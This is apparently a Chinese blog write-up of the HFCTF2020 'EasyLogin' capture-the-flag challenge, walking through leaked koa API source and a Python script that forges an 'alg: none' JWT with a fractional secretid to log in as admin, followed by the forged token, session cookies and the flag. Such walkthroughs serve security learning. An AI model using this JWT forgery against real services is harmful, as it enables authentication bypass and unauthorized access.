[HFCTF2020]EasyLogin

访问页面,是个登录界面,view-source也没看到啥提示;
在注册界面view-source,看到一个js文件;
js文件
打开来看看,是js源码泄露;

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

注释里的提示透露了信息,使用了koa框架;
先看看最感兴趣的函数getflag()
然而并没啥用,没有涉及到操作业务逻辑;
这里帖张图,是koa框架的目录结构;
目录结构
图片引用自——从零开始搭建koa后台基础框架

可以看到关键代码放置在controllers下;
跑一下字典;
api.js
发现有个api.js文件,访问一下;

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

需要admin才能拿flag
需要admin才能拿到flag;

又回到最初的起点,呆呆地坐在电脑前;
可以先注册一个账号;
注册后生成的token
注册账号后生成token,也就是jwt
登录;
登录
这时可以看到响应消息中,有两个值;
在这里插入图片描述
登录后访问flag,即访问/api/flag,会用这两个值去验证;
验证
当然,从源码中可以知道,由于不是admin,访问是不被允许的;
不被允许
那么想起以前做过的jwt伪造,我们可以尝试伪装成admin来拿flag

从以下源码中,可以知道jwt签名内容;
签名内容
一般签名内容有iss(发行者)sub(主题)aud(观众)iat(发行时间)exp(过期时间)jti(JWT_ID)等等;

直接去在线解密网站解密jwt
解密注册时返回的jwt得到:
解密得到的内容
payload:

{
 "secretid": 0,
 "username": "K1ose",
 "password": "123456",
 "iat": 1616597711
}

写脚本,伪造adminjwt

import jwt

payload = {
    "secretid": 0.1,
    "username": "admin",
    "password": "123",
    "iat": 1587287370
}

myToken = jwt.encode(payload, algorithm="none", key="")
print(myToken)

执行生成fake jwt
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE1ODcyODczNzB9.
在登录时用这个fake jwt伪造admin用户的登录,骗取sses:aoksses:aok.sig

在这里插入图片描述
sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTYxNjY4NzIxNTY2NiwiX21heEFnZSI6ODY0MDAwMDB9
sses:aok.sig=OJo6wt91g4N9Fg0eq45oxBtnUaw

现在去拿flag,带上这俩值,便可拿flag;

在这里插入图片描述
flag{07e8195e-e4c8-4d10-9d97-d623af8b0ffd}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值